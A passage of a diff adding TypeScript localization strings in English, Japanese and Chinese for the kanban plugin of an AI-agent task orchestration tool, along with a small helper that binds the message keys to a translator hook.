+  evtReclaimed: 'reclaimed — returned to the queue',
+  evtSpecified: 'spec written by the triage agent',
+  evtPromoted: 'dependencies done — promoted to Ready',
+  evtScheduled: 'scheduled for later',
+  evtArchived: 'archived',
+  evtReprioritized: priority => `priority set to ${priority}`,
+  someone: 'someone',
+  metaPriority: 'Priority',
+  metaTenant: 'Tenant',
+  metaCreatedBy: 'Created by',
+  metaCreated: 'Created',
+  metaWorkerPid: 'Worker pid',
+  readyUnassignedTitle: 'Ready, but unassigned — this card will never run.',
+  readyUnassignedBody:
+    'The dispatcher only claims Ready cards that have an assignee. Pick a profile in the Assignee field above (or set a default assignee in the orchestration settings) and it runs within a minute.',
+  diagnosticsN: n => `Diagnostics · ${n}`,
+  commandCopied: 'Command copied',
+  description: 'Description',
+  editDescription: 'Edit description',
+  cancelEdit: 'Cancel edit',
+  noDescription: 'No description yet.',
+  result: 'Result',
+  latestSummary: 'Latest summary',
+  dependencies: 'Dependencies',
+  blockedBy: 'Blocked by',
+  blocks: 'Blocks',
+  comments: n => `Comments · ${n}`,
+  commentsHelpRunning:
+    'This task is running. Your note is folded into the worker’s current turn within a few seconds — no block/unblock dance. “Requeue with note” instead restarts the task from scratch with your note in context.',
+  commentsHelp:
+    'Comments are added to the task thread. When a worker picks the task up it reads them as part of its context.',
+  send: 'Send',
+  comment: 'Comment',
+  messageWorker: 'Message the running worker…',
+  addComment: 'Add a comment…',
+  deliveredLive: 'Delivered to the running worker within a few seconds.',
+  requeueWithNote: 'Requeue with note',
+  notePosted: 'Note posted — worker requeued',
+  activity: n => `Activity · ${n}`,
+  runs: n => `Runs · ${n}`,
+  workerLog: 'Worker log',
+  workerLogTail: 'Worker log · tail',
+  attachments: n => `Attachments · ${n}`,
+  noAttachments: 'No attachments yet.',
+  uploadAttachment: 'Upload attachment',
+  taskActions: 'Task actions',
+  copyTaskId: 'Copy task id',
+  copyTitle: 'Copy title',
+  copiedId: id => `Copied ${id}`,
+  copiedTitle: 'Copied title',
+  archiveTask: 'Archive task',
+  deleteTask: 'Delete task',
+  close: 'Close',
+  working: 'working',
+  board: 'Board',
+  newBoard: 'New board',
+  newBoardDots: 'New board…',
+  boardSettings: 'Board settings…',
+  boardSettingsFor: name => `Board settings — ${name}`,
+  name: 'Name',
+  boardNamePlaceholder: 'Board name',
+  slug: slug => `slug: ${slug}`,
+  project: 'Project',
+  noProject: 'No project (scratch sandboxes)',
+  projectHintPre:
+    'New tasks run in the project’s repo (a worktree per task); each task can still override its workspace at creation. Manage projects with ',
+  projectHintCmd: 'clawcodex project',
+  createBoard: 'Create board',
+  orchestratorProfile: 'Orchestrator profile',
+  defaultAssignee: 'Default assignee',
+  defaultParen: '(default)',
+  autoDecompose: 'Auto-decompose triage tasks',
+  profileDescriptions: 'Profile descriptions',
+  profileDescriptionsHint:
+    'Descriptions guide the decomposer’s routing. Auto-generate with the auxiliary model, or write your own.',
+  profileGoodAt: 'What is this profile good at?',
+  auto: 'Auto'
+}
+
+const ja: KanbanMessages = {
+  nav: 'カンバン',
+  openBoard: 'カンバン: ボードを開く',
+  newTaskCommand: 'カンバン: 新しいタスク',
+  countTip: (running, ready) => `カンバン — 実行中 ${running}、待機 ${ready}`,
+  col: {
+    triage: { label: 'トリアージ', help: '生のアイデア — スペシファイアが仕様に整えます。' },
+    todo: { label: 'Todo', help: '依存関係の待ち、または未割り当て。' },
+    scheduled: { label: 'スケジュール', help: '予定時刻を待っています。' },
+    ready: { label: 'Ready', help: '依存関係が解決済み — プロフィールを割り当てるとディスパッチャが実行します。' },
+    running: { label: '実行中', help: 'ワーカーが取得済み — エージェントが作業中。ディスパッチャが設定します。' },
+    blocked: { label: 'ブロック', help: 'ワーカーが人間の入力を求めています。' },
+    review: { label: 'レビュー', help: 'レビューエージェントが作業を確認中。ディスパッチャが設定します。' },
+    done: { label: '完了', help: '完了。依存する子タスクが Ready になります。' },
+    archived: { label: 'アーカイブ', help: 'デフォルトのボード表示から非表示。' }
+  },
+  locked: {
+    review: 'レビューは、レビューエージェントがカードを取得するとディスパッチャによって設定されます。',
+    running: '実行中は、ワーカーがカードを取得するとディスパッチャによって設定されます。',
+    scheduled: 'スケジュールには起動時刻が必要です — エージェントが設定します。ドラッグでは移動できません。'
+  },
+  arcRunning: 'エージェントが現在作業中です。',
+  arcStale: '取得済みですが、2分以上ワーカーのハートビートがありません — ディスパッチャが再取得します。',
+  title: 'カンバン',
+  orchestrationSettings: 'オーケストレーション設定',
+  newTask: '新しいタスク',
+  filterCards: 'カードを絞り込み…',
+  noMatch: 'フィルタに一致するタスクはありません',
+  noTasks: 'このボードにタスクはありません',
+  open: '開く',
+  select: '選択（⌘クリック）',
+  deselect: '選択解除',
+  moveTo: label => `${label} へ移動`,
+  delete: '削除',
+  reviewChecking: 'レビューエージェントが完了した作業を確認中です。',
+  attachedTip: name => `${name} が担当 — ディスパッチャが次のティック（≤1分）で引き渡します。`,
+  orchestratorTip: name => `${name}（オーケストレーター）が次のティックでこれを取得し、仕様を書きます。`,
+  autoAssignTip: name => `次のディスパッチティックで「${name}」（kanban.default_assignee）に自動割り当てされます。`,
+  wontRun: '実行されません',
+  wontRunTip:
+    'Ready のカードはプロフィールが割り当てられて初めて実行されます。カードを開いて担当を設定するか、オーケストレーション設定でデフォルトの担当を設定してください。',
+  noHeartbeat: 'ハートビートなし',
+  expand: label => `${label} を展開`,
+  collapse: label => `${label} を折りたたむ`,
+  newTaskIn: label => `${label} に新しいタスク`,
+  empty: '空',
+  unassigned: '未割り当て',
+  filters: 'フィルタ',
+  allProfiles: 'すべてのプロフィール',
+  allTenants: 'すべてのテナント',
+  showArchived: 'アーカイブを表示',
+  groupRunning: '実行中をプロフィールでグループ化',
+  nSelected: n => `${n} 件選択中`,
+  moveToShort: '移動',
+  assign: '割り当て',
+  unassignAction: '割り当て解除',
+  archive: 'アーカイブ',
+  clearSelection: '選択をクリア（Esc）',
+  refused: '拒否されました',
+  bulkFailed: (failed, total, err) => `${total} 件中 ${failed} 件が失敗 — ${err}。失敗したカードは選択されたままです。`,
+  titlePlaceholderTriage: '大まかなアイデア — スペシファイアが具体化します',
+  titlePlaceholder: 'タイトル',
+  descPlaceholder: '説明（任意）',
+  priority: '優先度',
+  workspace: 'ワークスペース',
+  boardDefaultSuffix: '・ボード既定',
+  workspaceOverride: 'ワークスペースパス（任意の上書き）',
+  model: 'モデル',
+  modelInherit: 'プロファイル既定',
+  modelClear: 'モデル指定を解除',
+  modelHint: 'このタスクを特定のモデルと思考深度で実行します。未設定なら担当プロファイルの設定を使用します。',
+  workspaceInherit: 'ボードのプロジェクトディレクトリを継承',
+  workspaceInheritDir: dir => `空欄にすると ${dir} を継承します`,
+  workspaceInheritGeneric: '空欄にするとボードのプロジェクトディレクトリを継承します。',
+  assignee: '担当',
+  defaultOption: name => `${name}（既定）`,
+  parkedOption: '未割り当て（保留 — 実行されません）',
+  skills: 'スキル（カンマ区切り）',
+  skillsPlaceholder: 'translation, github',
+  parent: '親（完了するまでブロック）',
+  noParent: '— 親なし —',
+  goalMode: 'ゴールモード（ジャッジが完了と認めるまでワーカーがループ）',
+  creating: '作成中…',
+  createTask: 'タスクを作成',
+  cancel: 'キャンセル',
+  save: '保存',
+  estimate: '見積もり',
+  estimateEffort: '工数を見積もり',
+  estimating: '見積もり中…',
+  reEstimate: '再見積もり',
+  makesModelCall: 'モデル呼び出しあり',
+  estimateTip: '補助モデルによるトークン数と複雑度の概算 — モデル呼び出しを行います。',
+  estimateTipLong: '補助モデルを呼び出してトークン数と複雑度を概算します。目安であり、請求ではありません。',
+  roughEstimate: '概算',
+  tokUnit: 'tok',
+  couldNotEstimate: '見積もりできませんでした',
+  complexity: { S: '小', M: '中', L: '大' },
+  introBody:
+    'カードはあなたではなくエージェントが実行します。担当を設定したカードを Ready に置くと、1分以内にエージェントが取得します。担当がなければ実行されません。トリアージ: エージェントがまずアイデアを適切なタスクに書き直します。Todo: 他のカード待ち。スケジュール: タイマー待ち。実行中とレビュー: エージェントのレーンなので手を出さないでください。ブロック: あなたの対応待ちです。結果はカードに戻ってきます。',
+  introGotIt: '了解',
+  evtCreated: (where, assignee) => `作成${where ? `（${where}）` : ''}${assignee ? `・${assignee} に割り当て` : ''}`,
+  evtMovedTo: col => `${col} へ移動`,
+  evtParentReopened: parent => `親 ${parent} が再オープン`,
+  evtAssignedTo: assignee => `${assignee} に割り当て`,
+  evtUnassigned: '割り当て解除',
+  evtCommentBy: author => `${author} のコメント`,
+  evtClaimedReview: 'レビューエージェントが取得',
+  evtClaimedWorker: 'ワーカーが取得',
+  evtWorkerStarted: 'ワーカー開始',
+  evtCompleted: '完了',
+  evtBlocked: 'ブロック — 人間の入力が必要',
+  evtUnblocked: col => `ブロック解除${col ? ` → ${col}` : ' → Ready'}`,
+  evtReclaimed: '再取得 — キューに戻しました',
+  evtSpecified: 'トリアージエージェントが仕様を作成',
+  evtPromoted: '依存関係が完了 — Ready に昇格',
+  evtScheduled: '後で実行するようスケジュール',
+  evtArchived: 'アーカイブ済み',
+  evtReprioritized: priority => `優先度を ${priority} に設定`,
+  someone: '誰か',
+  metaPriority: '優先度',
+  metaTenant: 'テナント',
+  metaCreatedBy: '作成者',
+  metaCreated: '作成',
+  metaWorkerPid: 'ワーカー PID',
+  readyUnassignedTitle: 'Ready ですが未割り当て — このカードは実行されません。',
+  readyUnassignedBody:
+    'ディスパッチャは担当のある Ready カードのみ取得します。上の担当フィールドでプロフィールを選ぶ（またはオーケストレーション設定でデフォルトの担当を設定する）と、1分以内に実行されます。',
+  diagnosticsN: n => `診断・${n}`,
+  commandCopied: 'コマンドをコピーしました',
+  description: '説明',
+  editDescription: '説明を編集',
+  cancelEdit: '編集をキャンセル',
+  noDescription: 'まだ説明はありません。',
+  result: '結果',
+  latestSummary: '最新のサマリー',
+  dependencies: '依存関係',
+  blockedBy: 'ブロック元',
+  blocks: 'ブロック先',
+  comments: n => `コメント・${n}`,
+  commentsHelpRunning:
+    'このタスクは実行中です。あなたのメモは数秒以内にワーカーの現在のターンに取り込まれます — ブロック/解除の操作は不要です。「メモを付けて再キュー」を選ぶと、メモを文脈に含めてタスクを最初からやり直します。',
+  commentsHelp:
+    'コメントはタスクのスレッドに追加されます。ワーカーがタスクを取得すると、文脈の一部として読み込みます。',
+  send: '送信',
+  comment: 'コメント',
+  messageWorker: '実行中のワーカーにメッセージ…',
+  addComment: 'コメントを追加…',
+  deliveredLive: '数秒以内に実行中のワーカーへ届きます。',
+  requeueWithNote: 'メモを付けて再キュー',
+  notePosted: 'メモを投稿しました — ワーカーを再キューしました',
+  activity: n => `アクティビティ・${n}`,
+  runs: n => `実行・${n}`,
+  workerLog: 'ワーカーログ',
+  workerLogTail: 'ワーカーログ・末尾',
+  attachments: n => `添付・${n}`,
+  noAttachments: 'まだ添付はありません。',
+  uploadAttachment: '添付をアップロード',
+  taskActions: 'タスクの操作',
+  copyTaskId: 'タスク ID をコピー',
+  copyTitle: 'タイトルをコピー',
+  copiedId: id => `${id} をコピーしました`,
+  copiedTitle: 'タイトルをコピーしました',
+  archiveTask: 'タスクをアーカイブ',
+  deleteTask: 'タスクを削除',
+  close: '閉じる',
+  working: '作業中',
+  board: 'ボード',
+  newBoard: '新しいボード',
+  newBoardDots: '新しいボード…',
+  boardSettings: 'ボード設定…',
+  boardSettingsFor: name => `ボード設定 — ${name}`,
+  name: '名前',
+  boardNamePlaceholder: 'ボード名',
+  slug: slug => `slug: ${slug}`,
+  project: 'プロジェクト',
+  noProject: 'プロジェクトなし（スクラッチのサンドボックス）',
+  projectHintPre:
+    '新しいタスクはプロジェクトのリポジトリで実行されます（タスクごとに worktree）。各タスクは作成時にワークスペースを上書きできます。プロジェクトの管理は ',
+  projectHintCmd: 'clawcodex project',
+  createBoard: 'ボードを作成',
+  orchestratorProfile: 'オーケストレータープロフィール',
+  defaultAssignee: 'デフォルトの担当',
+  defaultParen: '（既定）',
+  autoDecompose: 'トリアージタスクを自動分解',
+  profileDescriptions: 'プロフィールの説明',
+  profileDescriptionsHint:
+    '説明はデコンポーザーのルーティングを導きます。補助モデルで自動生成するか、自分で書いてください。',
+  profileGoodAt: 'このプロフィールの得意分野は？',
+  auto: '自動'
+}
+
+const zh: KanbanMessages = {
+  nav: '看板',
+  openBoard: '看板：打开面板',
+  newTaskCommand: '看板：新建任务',
+  countTip: (running, ready) => `看板 — 运行中 ${running}、就绪 ${ready}`,
+  col: {
+    triage: { label: '分诊', help: '原始想法 — 由细化代理整理出规格。' },
+    todo: { label: '待办', help: '等待依赖，或未分配。' },
+    scheduled: { label: '已排期', help: '等待预定时间到来。' },
+    ready: { label: '就绪', help: '依赖已满足 — 分配一个配置档，调度器即会运行它。' },
+    running: { label: '运行中', help: '已被工作单元领取 — 有代理在处理。由调度器设置。' },
+    blocked: { label: '受阻', help: '工作单元需要人工输入。' },
+    review: { label: '审查', help: '审查代理正在检查工作。由调度器设置。' },
+    done: { label: '完成', help: '已完成；依赖它的子任务变为就绪。' },
+    archived: { label: '已归档', help: '从默认面板视图中隐藏。' }
+  },
+  locked: {
+    review: '审查状态由调度器在审查代理领取卡片时设置。',
+    running: '运行中由调度器在工作单元领取卡片时设置。',
+    scheduled: '排期需要唤醒时间 — 由代理设置；无法拖入。'
+  },
+  arcRunning: '有代理正在处理它。',
+  arcStale: '已领取，但超过 2 分钟没有工作单元心跳 — 调度器将重新领取。',
+  title: '看板',
+  orchestrationSettings: '编排设置',
+  newTask: '新建任务',
+  filterCards: '筛选卡片…',
+  noMatch: '没有符合筛选条件的任务',
+  noTasks: '此面板暂无任务',
+  open: '打开',
+  select: '选择（⌘点击）',
+  deselect: '取消选择',
+  moveTo: label => `移动到 ${label}`,
+  delete: '删除',
+  reviewChecking: '审查代理正在检查已完成的工作。',
+  attachedTip: name => `${name} 已接手 — 调度器将在下一个周期（≤1 分钟）移交。`,
+  orchestratorTip: name => `${name}（编排者）将在下一个周期领取并撰写规格。`,
+  autoAssignTip: name => `将在下一个调度周期自动分配给“${name}”（kanban.default_assignee）。`,
+  wontRun: '不会运行',
+  wontRunTip: '就绪卡片只有在分配了配置档后才会运行。打开卡片设置负责人，或在编排设置中配置默认负责人。',
+  noHeartbeat: '无心跳',
+  expand: label => `展开 ${label}`,
+  collapse: label => `折叠 ${label}`,
+  newTaskIn: label => `在 ${label} 新建任务`,
+  empty: '空',
+  unassigned: '未分配',
+  filters: '筛选',
+  allProfiles: '所有配置档',
+  allTenants: '所有租户',
+  showArchived: '显示已归档',
+  groupRunning: '按配置档分组运行中',
+  nSelected: n => `已选择 ${n} 个`,
+  moveToShort: '移动到',
+  assign: '分配',
+  unassignAction: '取消分配',
+  archive: '归档',
+  clearSelection: '清除选择（Esc）',
+  refused: '被拒绝',
+  bulkFailed: (failed, total, err) => `${total} 个中有 ${failed} 个失败 — ${err}。失败的卡片仍保持选中。`,
+  titlePlaceholderTriage: '大致想法 — 细化代理会补全',
+  titlePlaceholder: '标题',
+  descPlaceholder: '描述（可选）',
+  priority: '优先级',
+  workspace: '工作区',
+  boardDefaultSuffix: '・面板默认',
+  workspaceOverride: '工作区路径（可选覆盖）',
+  model: '模型',
+  modelInherit: '配置文件默认',
+  modelClear: '清除模型覆盖',
+  modelHint: '让该任务使用指定的模型与思考深度。未设置时使用所指派配置文件自身的设置。',
+  workspaceInherit: '继承面板的项目目录',
+  workspaceInheritDir: dir => `留空则继承 ${dir}`,
+  workspaceInheritGeneric: '留空则继承面板的项目目录。',
+  assignee: '负责人',
+  defaultOption: name => `${name}（默认）`,
+  parkedOption: '未分配（搁置 — 不会运行）',
+  skills: '技能（逗号分隔）',
+  skillsPlaceholder: 'translation, github',
+  parent: '父任务（完成前会阻塞）',
+  noParent: '— 无父任务 —',
+  goalMode: '目标模式（工作单元循环直到评判代理认可完成）',
+  creating: '创建中…',
+  createTask: '创建任务',
+  cancel: '取消',
+  save: '保存',
+  estimate: '估算',
+  estimateEffort: '估算工作量',
+  estimating: '估算中…',
+  reEstimate: '重新估算',
+  makesModelCall: '会调用模型',
+  estimateTip: '由辅助模型对令牌数和复杂度的粗略估算 — 会调用模型。',
+  estimateTipLong: '快速调用辅助模型来估算令牌数和复杂度。仅供参考，并非账单。',
+  roughEstimate: '粗略估算',
+  tokUnit: 'tok',
+  couldNotEstimate: '无法估算',
+  complexity: { S: '小', M: '中', L: '大' },
+  introBody:
+    '卡片不由你运行，而是由代理运行。把带有负责人的卡片放入“就绪”，代理会在一分钟内领取。没有负责人就不会运行。分诊：代理先把想法改写成合适的任务。待办：等待其他卡片。已排期：等待计时器。运行中与审查：这是代理的通道，请勿插手。受阻：正在等你。结果会回到卡片上。',
+  introGotIt: '知道了',
+  evtCreated: (where, assignee) => `已创建${where ? `（${where}）` : ''}${assignee ? `・分配给 ${assignee}` : ''}`,
+  evtMovedTo: col => `移动到 ${col}`,
+  evtParentReopened: parent => `父任务 ${parent} 已重新打开`,
+  evtAssignedTo: assignee => `分配给 ${assignee}`,
+  evtUnassigned: '取消分配',
+  evtCommentBy: author => `${author} 的评论`,
+  evtClaimedReview: '被审查代理领取',
+  evtClaimedWorker: '被工作单元领取',
+  evtWorkerStarted: '工作单元已启动',
+  evtCompleted: '已完成',
+  evtBlocked: '受阻 — 需要人工输入',
+  evtUnblocked: col => `已解除阻塞${col ? ` → ${col}` : ' → 就绪'}`,
+  evtReclaimed: '已重新领取 — 已放回队列',
+  evtSpecified: '分诊代理已撰写规格',
+  evtPromoted: '依赖已完成 — 提升为就绪',
+  evtScheduled: '已排期稍后运行',
+  evtArchived: '已归档',
+  evtReprioritized: priority => `优先级设为 ${priority}`,
+  someone: '某人',
+  metaPriority: '优先级',
+  metaTenant: '租户',
+  metaCreatedBy: '创建者',
+  metaCreated: '创建于',
+  metaWorkerPid: '工作单元 PID',
+  readyUnassignedTitle: '就绪但未分配 — 这张卡片永远不会运行。',
+  readyUnassignedBody:
+    '调度器只领取有负责人的就绪卡片。在上面的负责人字段选择一个配置档（或在编排设置中设置默认负责人），它会在一分钟内运行。',
+  diagnosticsN: n => `诊断・${n}`,
+  commandCopied: '命令已复制',
+  description: '描述',
+  editDescription: '编辑描述',
+  cancelEdit: '取消编辑',
+  noDescription: '暂无描述。',
+  result: '结果',
+  latestSummary: '最新摘要',
+  dependencies: '依赖关系',
+  blockedBy: '受阻于',
+  blocks: '阻塞',
+  comments: n => `评论・${n}`,
+  commentsHelpRunning:
+    '此任务正在运行。你的备注会在几秒内融入工作单元当前的回合 — 无需阻塞/解除操作。选择“附带备注重新入队”则会带着你的备注从头重跑任务。',
+  commentsHelp: '评论会添加到任务讨论串。工作单元领取任务时会将其作为上下文的一部分读取。',
+  send: '发送',
+  comment: '评论',
+  messageWorker: '给运行中的工作单元发消息…',
+  addComment: '添加评论…',
+  deliveredLive: '几秒内送达运行中的工作单元。',
+  requeueWithNote: '附带备注重新入队',
+  notePosted: '备注已发布 — 工作单元已重新入队',
+  activity: n => `活动・${n}`,
+  runs: n => `运行・${n}`,
+  workerLog: '工作单元日志',
+  workerLogTail: '工作单元日志・末尾',
+  attachments: n => `附件・${n}`,
+  noAttachments: '暂无附件。',
+  uploadAttachment: '上传附件',
+  taskActions: '任务操作',
+  copyTaskId: '复制任务 ID',
+  copyTitle: '复制标题',
+  copiedId: id => `已复制 ${id}`,
+  copiedTitle: '已复制标题',
+  archiveTask: '归档任务',
+  deleteTask: '删除任务',
+  close: '关闭',
+  working: '进行中',
+  board: '面板',
+  newBoard: '新建面板',
+  newBoardDots: '新建面板…',
+  boardSettings: '面板设置…',
+  boardSettingsFor: name => `面板设置 — ${name}`,
+  name: '名称',
+  boardNamePlaceholder: '面板名称',
+  slug: slug => `slug: ${slug}`,
+  project: '项目',
+  noProject: '无项目（临时沙箱）',
+  projectHintPre:
+    '新任务将在项目的仓库中运行（每个任务一个 worktree）；每个任务在创建时仍可覆盖其工作区。管理项目请使用 ',
+  projectHintCmd: 'clawcodex project',
+  createBoard: '创建面板',
+  orchestratorProfile: '编排者配置档',
+  defaultAssignee: '默认负责人',
+  defaultParen: '（默认）',
+  autoDecompose: '自动分解分诊任务',
+  profileDescriptions: '配置档说明',
+  profileDescriptionsHint: '说明用于引导分解器的路由。可用辅助模型自动生成，或自行填写。',
+  profileGoodAt: '这个配置档擅长什么？',
+  auto: '自动'
+}
+
+const zhHant: KanbanMessages = {
+  nav: '看板',
+  openBoard: '看板：開啟面板',
+  newTaskCommand: '看板：新增任務',
+  countTip: (running, ready) => `看板 — 執行中 ${running}、就緒 ${ready}`,
+  col: {
+    triage: { label: '分類', help: '原始想法 — 由細化代理整理出規格。' },
+    todo: { label: '待辦', help: '等待相依項目，或未指派。' },
+    scheduled: { label: '已排程', help: '等待預定時間到來。' },
+    ready: { label: '就緒', help: '相依項目已滿足 — 指派一個設定檔，排程器便會執行它。' },
+    running: { label: '執行中', help: '已被工作單元領取 — 有代理在處理。由排程器設定。' },
+    blocked: { label: '受阻', help: '工作單元需要人工輸入。' },
+    review: { label: '審查', help: '審查代理正在檢查工作。由排程器設定。' },
+    done: { label: '完成', help: '已完成；相依它的子任務變為就緒。' },
+    archived: { label: '已封存', help: '從預設面板檢視中隱藏。' }
+  },
+  locked: {
+    review: '審查狀態由排程器在審查代理領取卡片時設定。',
+    running: '執行中由排程器在工作單元領取卡片時設定。',
+    scheduled: '排程需要喚醒時間 — 由代理設定；無法拖入。'
+  },
+  arcRunning: '有代理正在處理它。',
+  arcStale: '已領取，但超過 2 分鐘沒有工作單元心跳 — 排程器將重新領取。',
+  title: '看板',
+  orchestrationSettings: '編排設定',
+  newTask: '新增任務',
+  filterCards: '篩選卡片…',
+  noMatch: '沒有符合篩選條件的任務',
+  noTasks: '此面板尚無任務',
+  open: '開啟',
+  select: '選取（⌘點擊）',
+  deselect: '取消選取',
+  moveTo: label => `移至 ${label}`,
+  delete: '刪除',
+  reviewChecking: '審查代理正在檢查已完成的工作。',
+  attachedTip: name => `${name} 已接手 — 排程器將在下一個週期（≤1 分鐘）移交。`,
+  orchestratorTip: name => `${name}（編排者）將在下一個週期領取並撰寫規格。`,
+  autoAssignTip: name => `將在下一個排程週期自動指派給「${name}」（kanban.default_assignee）。`,
+  wontRun: '不會執行',
+  wontRunTip: '就緒卡片只有在指派了設定檔後才會執行。開啟卡片設定負責人，或在編排設定中設定預設負責人。',
+  noHeartbeat: '無心跳',
+  expand: label => `展開 ${label}`,
+  collapse: label => `摺疊 ${label}`,
+  newTaskIn: label => `在 ${label} 新增任務`,
+  empty: '空',
+  unassigned: '未指派',
+  filters: '篩選',
+  allProfiles: '所有設定檔',
+  allTenants: '所有租戶',
+  showArchived: '顯示已封存',
+  groupRunning: '依設定檔分組執行中',
+  nSelected: n => `已選取 ${n} 個`,
+  moveToShort: '移至',
+  assign: '指派',
+  unassignAction: '取消指派',
+  archive: '封存',
+  clearSelection: '清除選取（Esc）',
+  refused: '被拒絕',
+  bulkFailed: (failed, total, err) => `${total} 個中有 ${failed} 個失敗 — ${err}。失敗的卡片仍保持選取。`,
+  titlePlaceholderTriage: '大致想法 — 細化代理會補全',
+  titlePlaceholder: '標題',
+  descPlaceholder: '描述（選填）',
+  priority: '優先順序',
+  workspace: '工作區',
+  boardDefaultSuffix: '・面板預設',
+  workspaceOverride: '工作區路徑（選填覆寫）',
+  model: '模型',
+  modelInherit: '設定檔預設',
+  modelClear: '清除模型覆寫',
+  modelHint: '讓此任務使用指定的模型與思考深度。未設定時使用所指派設定檔本身的設定。',
+  workspaceInherit: '繼承面板的專案目錄',
+  workspaceInheritDir: dir => `留空則繼承 ${dir}`,
+  workspaceInheritGeneric: '留空則繼承面板的專案目錄。',
+  assignee: '負責人',
+  defaultOption: name => `${name}（預設）`,
+  parkedOption: '未指派（擱置 — 不會執行）',
+  skills: '技能（以逗號分隔）',
+  skillsPlaceholder: 'translation, github',
+  parent: '父任務（完成前會阻擋）',
+  noParent: '— 無父任務 —',
+  goalMode: '目標模式（工作單元循環直到評判代理認可完成）',
+  creating: '建立中…',
+  createTask: '建立任務',
+  cancel: '取消',
+  save: '儲存',
+  estimate: '估算',
+  estimateEffort: '估算工作量',
+  estimating: '估算中…',
+  reEstimate: '重新估算',
+  makesModelCall: '會呼叫模型',
+  estimateTip: '由輔助模型對 token 數與複雜度的粗略估算 — 會呼叫模型。',
+  estimateTipLong: '快速呼叫輔助模型來估算 token 數與複雜度。僅供參考，並非帳單。',
+  roughEstimate: '粗略估算',
+  tokUnit: 'tok',
+  couldNotEstimate: '無法估算',
+  complexity: { S: '小', M: '中', L: '大' },
+  introBody:
+    '卡片不由你執行，而是由代理執行。把有負責人的卡片放入「就緒」，代理會在一分鐘內領取。沒有負責人就不會執行。分類：代理先把想法改寫成合適的任務。待辦：等待其他卡片。已排程：等待計時器。執行中與審查：這是代理的通道，請勿插手。受阻：正在等你。結果會回到卡片上。',
+  introGotIt: '知道了',
+  evtCreated: (where, assignee) => `已建立${where ? `（${where}）` : ''}${assignee ? `・指派給 ${assignee}` : ''}`,
+  evtMovedTo: col => `移至 ${col}`,
+  evtParentReopened: parent => `父任務 ${parent} 已重新開啟`,
+  evtAssignedTo: assignee => `指派給 ${assignee}`,
+  evtUnassigned: '取消指派',
+  evtCommentBy: author => `${author} 的留言`,
+  evtClaimedReview: '被審查代理領取',
+  evtClaimedWorker: '被工作單元領取',
+  evtWorkerStarted: '工作單元已啟動',
+  evtCompleted: '已完成',
+  evtBlocked: '受阻 — 需要人工輸入',
+  evtUnblocked: col => `已解除阻擋${col ? ` → ${col}` : ' → 就緒'}`,
+  evtReclaimed: '已重新領取 — 已放回佇列',
+  evtSpecified: '分類代理已撰寫規格',
+  evtPromoted: '相依項目已完成 — 提升為就緒',
+  evtScheduled: '已排程稍後執行',
+  evtArchived: '已封存',
+  evtReprioritized: priority => `優先順序設為 ${priority}`,
+  someone: '某人',
+  metaPriority: '優先順序',
+  metaTenant: '租戶',
+  metaCreatedBy: '建立者',
+  metaCreated: '建立於',
+  metaWorkerPid: '工作單元 PID',
+  readyUnassignedTitle: '就緒但未指派 — 這張卡片永遠不會執行。',
+  readyUnassignedBody:
+    '排程器只領取有負責人的就緒卡片。在上方的負責人欄位選擇一個設定檔（或在編排設定中設定預設負責人），它會在一分鐘內執行。',
+  diagnosticsN: n => `診斷・${n}`,
+  commandCopied: '指令已複製',
+  description: '描述',
+  editDescription: '編輯描述',
+  cancelEdit: '取消編輯',
+  noDescription: '尚無描述。',
+  result: '結果',
+  latestSummary: '最新摘要',
+  dependencies: '相依關係',
+  blockedBy: '受阻於',
+  blocks: '阻擋',
+  comments: n => `留言・${n}`,
+  commentsHelpRunning:
+    '此任務正在執行。你的備註會在幾秒內融入工作單元目前的回合 — 無需阻擋/解除操作。選擇「附上備註重新排入佇列」則會帶著你的備註從頭重跑任務。',
+  commentsHelp: '留言會加入任務討論串。工作單元領取任務時會將其作為脈絡的一部分讀取。',
+  send: '傳送',
+  comment: '留言',
+  messageWorker: '傳訊給執行中的工作單元…',
+  addComment: '新增留言…',
+  deliveredLive: '幾秒內送達執行中的工作單元。',
+  requeueWithNote: '附上備註重新排入佇列',
+  notePosted: '備註已發布 — 工作單元已重新排入佇列',
+  activity: n => `活動・${n}`,
+  runs: n => `執行・${n}`,
+  workerLog: '工作單元日誌',
+  workerLogTail: '工作單元日誌・末尾',
+  attachments: n => `附件・${n}`,
+  noAttachments: '尚無附件。',
+  uploadAttachment: '上傳附件',
+  taskActions: '任務操作',
+  copyTaskId: '複製任務 ID',
+  copyTitle: '複製標題',
+  copiedId: id => `已複製 ${id}`,
+  copiedTitle: '已複製標題',
+  archiveTask: '封存任務',
+  deleteTask: '刪除任務',
+  close: '關閉',
+  working: '進行中',
+  board: '面板',
+  newBoard: '新增面板',
+  newBoardDots: '新增面板…',
+  boardSettings: '面板設定…',
+  boardSettingsFor: name => `面板設定 — ${name}`,
+  name: '名稱',
+  boardNamePlaceholder: '面板名稱',
+  slug: slug => `slug: ${slug}`,
+  project: '專案',
+  noProject: '無專案（暫存沙箱）',
+  projectHintPre:
+    '新任務將在專案的儲存庫中執行（每個任務一個 worktree）；每個任務在建立時仍可覆寫其工作區。管理專案請使用 ',
+  projectHintCmd: 'clawcodex project',
+  createBoard: '建立面板',
+  orchestratorProfile: '編排者設定檔',
+  defaultAssignee: '預設負責人',
+  defaultParen: '（預設）',
+  autoDecompose: '自動分解分類任務',
+  profileDescriptions: '設定檔說明',
+  profileDescriptionsHint: '說明用於引導分解器的路由。可用輔助模型自動產生，或自行填寫。',
+  profileGoodAt: '這個設定檔擅長什麼？',
+  auto: '自動'
+}
+
+/** Registered via `ctx.i18n.register` at plugin load (disposer tracked). */
+export const KANBAN_LOCALES: PluginLocaleBundles = { en, ja, zh, 'zh-hant': zhHant }
+
+// Bind the message SHAPE to a plugin translator: string leaves resolve now,
+// function leaves forward their args through t(path, …). One tiny generic
+// instead of a hand-written accessor per key.
+type Bound<T> = {
+  [K in keyof T]: T[K] extends (...args: infer A) => string
+    ? (...args: A) => string
+    : T[K] extends object
+      ? Bound<T[K]>
+      : string
+}
+
+function bind<T extends object>(t: PluginTranslate, template: T, prefix = ''): Bound<T> {
+  const out = {} as Record<string, unknown>
+
+  for (const [key, value] of Object.entries(template)) {
+    const path = prefix ? `${prefix}.${key}` : key
+    out[key] =
+      typeof value === 'function'
+        ? (...args: unknown[]) => t(path, ...args)
+        : value && typeof value === 'object'
+          ? bind(t, value as object, path)
+          : t(path)
+  }
+
+  return out as Bound<T>
+}
+
+export type KanbanText = Bound<KanbanMessages>
+
+/** The kanban strings for the active locale — one hook every component reads. */
+export function useKanban(): KanbanText {
+  const t = usePluginI18n('kanban')
+
+  return useMemo(() => bind(t, en), [t])
